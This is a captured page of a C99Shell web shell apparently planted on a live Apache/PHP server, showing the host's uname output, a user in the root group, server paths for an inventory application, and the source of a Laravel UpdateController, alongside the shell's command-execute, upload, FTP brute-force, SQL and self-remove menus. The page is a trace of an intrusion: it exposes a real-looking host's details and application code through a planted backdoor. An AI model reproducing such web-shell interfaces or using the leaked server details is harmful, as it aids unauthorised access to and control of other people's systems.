!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.15 GB of 117.98 GB (24.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UpdateController.php (2.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Http\Controllers\Controller;
use 
App\Http\Controllers\TestDbController;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Artisan;
use 
Illuminate\Support\Facades\Storage;
use 
Illuminate\Support\Facades\Config;
use 
Illuminate\Support\Facades\File;
use 
App\Models\Role;
use 
App\Models\Permission;

class 
UpdateController extends Controller
{

    public function 
viewStep1(Request $request)
    {
        return 
view('update.viewStep1');
    }
    
    public function 
lastStep(Request $request)
    {
        
ini_set('max_execution_time'600); //600 seconds = 10 minutes 

        
try {
           
            
Artisan::call('config:cache');
            
Artisan::call('config:clear');

            
Artisan::call('migrate --force');

            
$role Role::findOrFail(1);

            
$permissions = array(
                
=> 'view_employee',
                
=> 'add_employee',
                
=> 'edit_employee',
                
=> 'delete_employee',
                
=> 'company',
                
=> 'department',
                
=> 'designation',
                
=> 'office_shift',
                
=> 'attendance',
                
=> 'leave',
                
10 => 'holiday',
                
11 => 'Top_products',
                
12 => 'Top_customers',
                
13 => 'shipment',
                
14 => 'users_report',
                
15 => 'stock_report',
            );


            foreach (
$permissions as $permission_slug) {

                
//get the permission object by name
                
$perm Permission::firstOrCreate(['name' => $permission_slug]);
                
$data[] = $perm->id;
            }

            
$role->permissions()->attach($data);
            
        } catch (
\Exception $e) {
            
            return 
$e->getMessage();
            
            return 
'Something went wrong';
        }
        
        return 
view('update.finishedUpdate');
    }

    

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--